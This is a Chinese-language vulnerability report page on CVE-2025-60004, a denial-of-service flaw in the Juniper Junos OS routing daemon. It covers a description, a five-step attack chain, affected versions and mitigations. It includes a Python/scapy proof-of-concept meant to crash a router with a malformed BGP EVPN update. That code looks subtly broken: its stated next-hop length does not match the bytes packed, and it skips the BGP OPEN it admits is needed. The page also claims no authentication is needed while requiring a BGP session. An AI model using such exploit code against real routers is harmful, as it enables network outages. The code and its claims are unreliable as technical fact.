IPBUF安全漏洞报告
English
CVE-2025-60004 CVSS 7.5 高危

CVE-2025-60004:Juniper Junos OS rpd组件BGP EVPN拒绝服务漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-60004
漏洞类型
拒绝服务(DoS)/ 异常条件检查不当
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Juniper Networks Junos OS 和 Junos OS Evolved(路由协议守护进程 rpd)

相关标签

CVE-2025-60004JuniperJunos OSJunos OS EvolvedrpdBGPEVPN拒绝服务DoS异常条件检查不当

漏洞概述

CVE-2025-60004是Juniper Networks Junos OS及Junos OS Evolved中路由协议守护进程(rpd)存在的一个高危安全漏洞。该漏洞源于代码中对异常或特殊条件检查不当(Improper Check for Unusual or Exceptional Conditions),属于CWE-754类缺陷。攻击者可通过网络发送特制的BGP EVPN(Ethernet VPN)更新消息,在已建立的BGP会话上触发rpd进程崩溃并自动重启,从而导致拒绝服务(DoS)。值得注意的是,即使目标设备未配置BGP EVPN,只要对等体(peer)被配置为向该设备发送BGP EVPN更新消息,漏洞仍可被触发。该漏洞影响iBGP和eBGP会话,覆盖IPv4和IPv6两种协议栈。CVSS 3.1基础评分为7.5分,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),机密性和完整性影响均为无(N),可用性影响为高(A:H)。该漏洞由Juniper Networks安全事件响应团队([email protected])发现并披露,披露日期为2025年10月9日。受影响的版本包括Junos OS 23.4R2-S3至23.4R2-S5之前的版本、24.2R2至24.2R2-S1之前的版本、24.4R1-S3及24.4R2之前的版本,以及对应的Junos OS Evolved版本。

技术细节

该漏洞位于Juniper Junos OS及其Evolved版本的路由协议守护进程(rpd)中,核心问题在于对BGP EVPN更新消息处理时缺少对异常或特殊条件的充分检查。当rpd进程接收到通过已建立BGP会话传输的特制BGP EVPN更新消息时,由于缺乏对消息内容合法性和异常状态的校验,会触发内部逻辑错误或断言失败(assertion failure),导致rpd进程崩溃。由于rpd是负责处理所有路由协议(包括BGP、OSPF、IS-IS等)的核心进程,其崩溃将导致设备暂时失去路由功能,重启期间所有依赖路由转发的业务将中断。攻击者无需任何认证即可通过网络发起攻击,仅需与目标设备建立BGP对等会话(无论是iBGP还是eBGP,IPv4或IPv6均可),然后发送精心构造的恶意BGP EVPN更新消息即可触发漏洞。即使目标设备本地未启用BGP EVPN功能,只要其BGP对等体配置中允许接收EVPN地址族(address-family)更新,漏洞仍然可被利用。这增加了漏洞的影响范围,因为许多运营商网络中的BGP路由器可能并未明确禁用EVPN地址族协商。

攻击链分析

STEP 1
步骤1:信息收集与侦察
攻击者首先识别目标网络中的Juniper Junos OS或Junos OS Evolved设备,确定其是否运行受影响的版本(23.4R2-S3至23.4R2-S5之前、24.2R2至24.2R2-S1之前、24.4R1-S3及24.4R2之前等版本),并确认目标设备是否配置了BGP对等会话。
STEP 2
步骤2:建立BGP对等会话
攻击者与目标Juniper设备建立BGP对等关系,可以是iBGP或eBGP,支持IPv4或IPv6。攻击者需在本地BGP配置中启用EVPN地址族(address-family l2vpn evpn),以便能够发送EVPN更新消息。
STEP 3
步骤3:构造恶意BGP EVPN更新消息
攻击者精心构造包含异常或畸形数据的BGP EVPN更新消息,利用rpd中缺乏对异常条件检查的缺陷,消息中包含触发断言失败或异常处理路径的特定字段值。
STEP 4
步骤4:发送恶意更新触发崩溃
攻击者通过已建立的BGP会话将恶意EVPN更新消息发送给目标设备,rpd进程在处理该消息时由于异常条件检查不当而崩溃。
STEP 5
步骤5:拒绝服务效果
rpd进程崩溃后自动重启,在重启期间目标设备失去路由功能,所有依赖路由转发的网络业务中断。攻击者可重复发送恶意消息,造成持续性拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60004 PoC - Juniper Junos OS rpd DoS via Malicious BGP EVPN Update # This PoC demonstrates triggering an rpd crash by sending a crafted BGP EVPN update # Requires: scapy or similar packet crafting library, and an established BGP session from scapy.all import * from scapy.layers.inet import IP, TCP from scapy.contrib.bgp import BGPHeader, BGPUpdate, BGPNLRI import socket import struct TARGET_IP = "192.168.1.1" # Target Juniper device IP TARGET_PORT = 179 # BGP port LOCAL_IP = "10.0.0.1" # Local BGP peer IP LOCAL_PORT = 12345 # Local source port def craft_malicious_evpn_update(): """ Craft a malicious BGP UPDATE message containing a malformed EVPN NLRI that triggers improper exception handling in rpd, causing a crash. """ # BGP EVPN uses AFI 25 (L2VPN) and SAFI 70 (EVPN) evpn_afi = 25 evpn_safi = 70 # Build a malformed EVPN route with abnormal/exceptional conditions # EVPN Route Type 2 (MAC/IP Advertisement) with invalid length route_type = 0x02 # MAC/IP Advertisement route # Construct an intentionally malformed NLRI to trigger exception # Invalid RD (Route Distinguisher) length or malformed MAC length malformed_nlri = bytes([ route_type, # Route Type 0xFF, 0xFF, # Invalid length field (triggers exception) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # RD (Route Distinguisher) 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, # Ethernet Segment ID 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MAC Address (malformed) 0x00, # Invalid MAC length 0x00, 0x00, 0x00, 0x00, # IP Address 0x00, 0x00, 0x00, 0x00, # Labels ]) # Build BGP UPDATE message mp_reach_nlri = struct.pack('!BB', evpn_afi, evpn_safi) mp_reach_nlri += struct.pack('!B', 12) # Length of next hop (IPv4) mp_reach_nlri += socket.inet_aton(LOCAL_IP) # Next hop mp_reach_nlri += struct.pack('!B', 0) # Number of SNPAs mp_reach_nlri += struct.pack('!H', len(malformed_nlri)) # NLRI length mp_reach_nlri += malformed_nlri bgp_update = BGPUpdate() bgp_update.mp_reach_nlri = mp_reach_nlri return bytes(bgp_update) def send_malicious_update(): """Send the crafted BGP EVPN update to the target""" payload = craft_malicious_evpn_update() # Establish TCP connection to BGP port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}") # Send BGP OPEN message (simplified - real attack requires established session) # In practice, attacker would need a configured BGP session print("[*] Sending malicious BGP EVPN UPDATE...") sock.send(payload) print(f"[+] Malicious EVPN update sent ({len(payload)} bytes)") print("[*] Target rpd should crash and restart, causing DoS") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": print("=" * 60) print("CVE-2025-60004 - Juniper Junos OS rpd DoS PoC") print("BGP EVPN Malformed Update Attack") print("=" * 60) send_malicious_update()

影响范围

Junos OS 23.4R2-S3 <= 版本 < 23.4R2-S5
Junos OS 24.2R2 <= 版本 < 24.2R2-S1
Junos OS 版本 < 24.4R1-S3
Junos OS 版本 < 24.4R2
Junos OS Evolved 23.4R2-S2-EVO <= 版本 < 23.4R2-S5-EVO
Junos OS Evolved 24.2R2-EVO <= 版本 < 24.2R2-S1-EVO
Junos OS Evolved 版本 < 24.4R1-S3-EVO
Junos OS Evolved 版本 < 24.4R2-EVO

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在BGP对等体配置中禁用EVPN地址族协商,使用命令`set protocols bgp group <group-name> family evpn disable`阻止EVPN更新消息交换;2)通过BGP策略过滤(policy)拒绝接收来自不可信对等体的EVPN路由更新;3)使用防火墙或访问控制列表(ACL)限制仅授权的BGP对等体可以与设备建立会话;4)启用rpd进程的高可用性(GRES - Graceful Routing Engine Switchover)配置,在主路由引擎崩溃时快速切换到备份引擎以减少服务中断时间;5)部署BGP会话监控和异常检测系统,及时发现异常的BGP更新消息;6)定期检查Juniper安全公告以获取最新的修复信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表